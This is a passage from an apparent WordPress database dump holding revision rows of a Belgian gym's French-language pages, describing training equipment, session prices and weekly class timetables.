src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebell&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-07-10 16:10:46', '2013-07-10 16:10:46', '', 22, 'http://www.crosstrainingcenter.be/22-revision-30/', 0, 'revision', '', 0);
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(154, 1, '2013-06-23 14:07:38', '2013-06-23 14:07:38', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n\r\n[table caption=\&quot;Just test table\&quot; width=\&quot;500\&quot; colwidth=\&quot;20|100|50\&quot; colalign=\&quot;left|left|center|left|right\&quot;]\r\nno,head1,head2,head3,head4\r\n1,row1col1,row1col2,row1col3,100\r\n2,row2col1,row2col2,row2col3,20000\r\n3,row3col1,,row3col3,1405\r\n4,row4col1,row4col2,row4col3,23023\r\n[/table]	\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style:dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-06-23 14:07:38', '2013-06-23 14:07:38', '', 11, 'http://www.crosstrainingcenter.be/?p=154', 0, 'revision', '', 0),
(155, 1, '2013-07-03 15:41:06', '2013-07-03 15:41:06', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;\&quot; width=\&quot;500\&quot; colwidth=\&quot;20|100|50\&quot; colalign=\&quot;left|left|center|left|right\&quot;]\r\nno,head1,head2,head3,head4\r\n1,row1col1,row1col2,row1col3,100\r\n2,row2col1,row2col2,row2col3,20000\r\n3,row3col1,,row3col3,1405\r\n4,row4col1,row4col2,row4col3,23023\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 15:41:06', '2013-07-03 15:41:06', '', 11, 'http://www.crosstrainingcenter.be/?p=155', 0, 'revision', '', 0),
(156, 1, '2013-07-03 15:52:51', '2013-07-03 15:52:51', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;En semaine\&quot; width=\&quot;700\&quot; colwidth=\&quot;30|50|50|50|50|50\&quot; colalign=\&quot;left|right|right|right|right|right\&quot;]\r\n,Lundi,Mardi,Mercredi,Jeudi,Vendredi\r\n17h30,TRX,CARDIO,RIP-KETTLE,GLFE,TRX\r\n18h15,GLFE,TRX,CARDIO,RIP-KETTLE,GLFE\r\n19h00,RIP-KETTLE,GLFE,TRX,CARDIO,RIP-KETTLE\r\n19h45,CARDIO,RIP-KETTLE,GLFE,TRX,CARDIO\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: 